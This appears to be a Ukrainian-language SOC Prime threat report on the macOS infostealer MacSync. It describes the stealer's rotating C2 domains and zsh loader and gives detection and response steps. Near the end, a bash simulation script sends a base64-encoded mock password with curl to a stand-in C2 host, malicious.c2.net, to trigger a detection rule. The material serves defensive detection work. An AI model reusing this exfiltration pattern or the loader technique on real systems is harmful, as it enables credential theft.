SOC Prime Bias: Середній

12 May 2026 18:31

MacSync Stealer використовує змінну C2-інфраструктуру

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
MacSync Stealer використовує змінну C2-інфраструктуру
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

MacSync Stealer – це шкідливе програмне забезпечення для macOS, призначене для викрадення інформації, яке пропонується через модель ‘шкідливе ПЗ як послуга’. Воно покладається на багатостадійний zsh завантажувач, що звертається до пулу доменів командного та керуючого центру, що обертається для ексфільтрації викраденої інформації, включаючи паролі та облікові дані криптовалютних гаманців. Завантажувач передає паролі у відкритому тексті через параметр запитанняної строки та завантажує ZIP-архів зібраних даних частинами по 10 МБіт. Його стратегія обертання інфраструктури залежить від статичного API-ключа, що повторно використовується на декількох доменах разом з шістнадцятковим токеном на кожну збірку.

Розслідування

RST Cloud виявила спробу завантаження з ново зареєстрованого домену jacksonvillemma.com і захопила Stage 2 zsh завантажувач протягом години. Статичний аналіз виявив токен завантажувача, API-ключ та тріо шляху командного та керуючого центру: /curl, /dynamic, і /gate. Додаткове перевірка на основі цих зразків URI показала кластер приблизно з дванадцяти підозрюваних доменів командного та керуючого центру, активних між лютим і травнем 2026 року. Чотири з цих доменів було підтверджено на спільність API-ключа, тоді як інші були пов’язані лише за відповідністю поведінки URI.

Міри запобігання

Захисники повинні блокувати всі відомі домени командного та керуючого центру MacSync і спостерігати за характерними зразками URL шляхів, які використовуються шкідливим програмним забезпеченням. Проксі- та DNS-логи повинні бути переглянуті для запитів, що містять /curl, /dynamic, і /gate, а також скорочений рядок user-agent, схожий на Chrome, пов’язаний з завантажувачем. Команди безпеки повинні також виявляти створення /tmp/osalogging.zip і стежити за zsh процесами, що виконують base64 -D, gunzip, і eval в комбінації.

Оперативне реагування

Якщо знайдено відповідний індикатор, негайно ізолюйте уражену кінцеву точку, припиніть шкідливий zsh процес і зберіть пам’ять для аналізу будь-яких AppleScript завантажень. Перезавантажте викриті паролі користувача та анулюйте скомпрометовані облікові дані, збережені в зв’язці ключів macOS. Логіка виявлення також повинна бути оновлена за спостереженими схемами токенів, API-ключів і користувацького агента для зниження ризику майбутніх компромісів.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#cccccc classDef process fill:#ccffcc %% Nodes initial_access_phishing["<b>Техніка</b> – T1566 Фішинг<br/><b>Опис</b>: Шкідливе рекламування доставляє скрипт, що запускає curl для завантаження завантажувача Stageu202f2 Zsh з домену C2."] class initial_access_phishing action tool_curl["<b>Інструмент</b> – curl<br/><b>Опис</b>: Утиліта командного рядка, використовується для завантаження завантажувача Stageu202f2."] class tool_curl tool defense_obfuscate_compile["<b>Техніка</b> – T1027.004 Компіляція після доставки<br/><b>Опис</b>: Zsh обгортка містить base64u2011gzip завантаження, яке декодується і виконується за допомогою eval."] class defense_obfuscate_compile action defense_embedded_payload["<b>Техніка</b> – T1027.009 Вбудовані завантаження<br/><b>Опис</b>: Завантаження вбудоване як base64u2011закодована, gzipu2011стиснута порція всередині обгортки."] class defense_embedded_payload action defense_stripped_payload["<b>Техніка</b> – T1027.008 Вилучені завантаження<br/><b>Опис</b>: Обгортка прочищена від ідентифікованих рядків, покладаючись на декодування під час виконання."] class defense_stripped_payload action defense_dynamic_api["<b>Техніка</b> – T1027.007 Динамічне вирішення API<br/><b>Опис</b>: HTTP-запити включають заголовок зі статичним api‑ключем та користувацьким укороченим Useru2011Agent."] class defense_dynamic_api action execution_shared_modules["<b>Техніка</b> – T1129 Загальні модулі<br/><b>Опис</b>: Декодований скрипт виконується як фоновий Zsh-функція за допомогою eval."] class execution_shared_modules action process_zsh["<b>Процес</b> – Zsh<br/><b>Опис</b>: Оболонка, використовується для запуску декодованої шкідливої функції."] class process_zsh process cred_os_dumping["<b>Техніка</b> – T1003 Витяг облікових даних з ОС<br/><b>Опис</b>: AppleScript, отриманий з C2, витягує записи зв’язки ключів macOS."] class cred_os_dumping action cred_browser["<b>Техніка</b> – T1555.003 Облікові дані з веб-браузерів<br/><b>Опис</b>: Той самий AppleScript збирає збережені облікові дані з браузерів Chromium та криптовалютних гаманців."] class cred_browser action cred_unsecured_files["<b>Техніка</b> – T1552.001 Незахищені облікові дані у файлах<br/><b>Опис</b>: Зібрані дані записані в/tmp/osalogging.zip перед ексфільтрацією."] class cred_unsecured_files action file_archive["<b>Файл</b> – /tmp/osalogging.zip<br/><b>Опис</b>: ZIP-архів, що містить зібрані облікові дані."] class file_archive file collection_archive["<b>Техніка</b> – T1560 Архівування зібраних даних<br/><b>Опис</b>: Дані стиснуті в zip-архів для підготування."] class collection_archive action command_control_dynamic["<b>Техніка</b> – T1568 Динамічне вирішення<br/><b>Опис</b>: Шкідливе ПЗ контактує з C2, використовуючи HTTP-шляхи, виявлені через відповідність зразків."] class command_control_dynamic action cred_valid_accounts["<b>Техніка</b> – T1078 Дійсні облікові записи<br/><b>Опис</b>: Пароль macOS користувача надіслано у відкритому тексті через параметр запиту "&amp;pwd=", даючи зловмиснику дійсні облікові дані."] class cred_valid_accounts action %% Зв’язки initial_access_phishing –>|використовує| tool_curl tool_curl –>|доставляє| defense_obfuscate_compile defense_obfuscate_compile –>|включає| defense_embedded_payload defense_embedded_payload –>|включає| defense_stripped_payload defense_stripped_payload –>|використовує| defense_dynamic_api defense_dynamic_api –>|дозволяє| execution_shared_modules execution_shared_modules –>|виконує| process_zsh process_zsh –>|запускає| cred_os_dumping cred_os_dumping –>|запускає| cred_browser cred_browser –>|записує в| cred_unsecured_files cred_unsecured_files –>|створює| file_archive file_archive –>|використовується| collection_archive collection_archive –>|відправляється до| command_control_dynamic command_control_dynamic –>|надає| cred_valid_accounts "

Атака потоку

Виконання симуляції

Попередня умова: Перевірка телеметрії та базової лінії повинна бути пройдена.

Пояснення: У цьому розділі детально розкривається точне виконання техніки противника (TTP), призначене для запуску правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати визначені TTP і прагнути генерувати точну телеметрію, очікувану логікою виявлення.

  • Опис атаки та команди:
    Противник розгорнув двійковий файл MacSync stealer на скомпрометованій робочій станції macOS. Викрадач витягує пароль зв’язки ключів macOS поточного користувача, кодує його у формат base64 і відправляє через запит HTTP GET через корпоративний проксі-сервер. Запит цільово на відомий C2-endpoint https://malicious.c2.net/dynamic?txd=<payload>. Оскільки проксі-сервер реєструє повні URL, правило виявлення побачить dynamic?txd= підстроку та підніме тривогу.

  • Скрипт регресійного тестування:

     #!/bin/bash
      # macsync_stealer_simulation.sh
      # Імітує зв'язок MacSync stealer C2 для запуску правила виявлення.
    
      PROXY="http://proxy.corp.local:3128"
      C2_BASE="https://malicious.c2.net/dynamic?txd="
    
      # 1️⃣ Витягти макет пароля (для демонстраційних цілей використовуйте поточне ім'я користувача)
      PASSWORD="$(whoami):P@ssw0rd!"
    
      # 2️⃣ Закодуйте облікові дані у формат base64 (імітація етапу кодування MacSync)
      ENCODED=$(printf "%s" "$PASSWORD" | base64)
    
      # 3️⃣ Створіть повний шкідливий URL
      MALICIOUS_URL="${C2_BASE}${ENCODED}"
    
      # 4️⃣ Відправте запит через корпоративний проксі-сервер
      curl -x "$PROXY" "$MALICIOUS_URL" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15"
    
      echo "Симуляція виконана – навантаження відправлено на $MALICIOUS_URL"
  • Команди очищення:

     # Видаліть будь-які тимчасові файли (жодного не створено) та за бажанням очистіть кеш проксі
      echo "Очищення артефактів симуляції..."
      # Якщо ви використовуєте Squid, очистіть URL з кеша, щоб уникнути повторних попадань
      sudo squidclient -m PURGE "https://malicious.c2.net/dynamic?txd=*"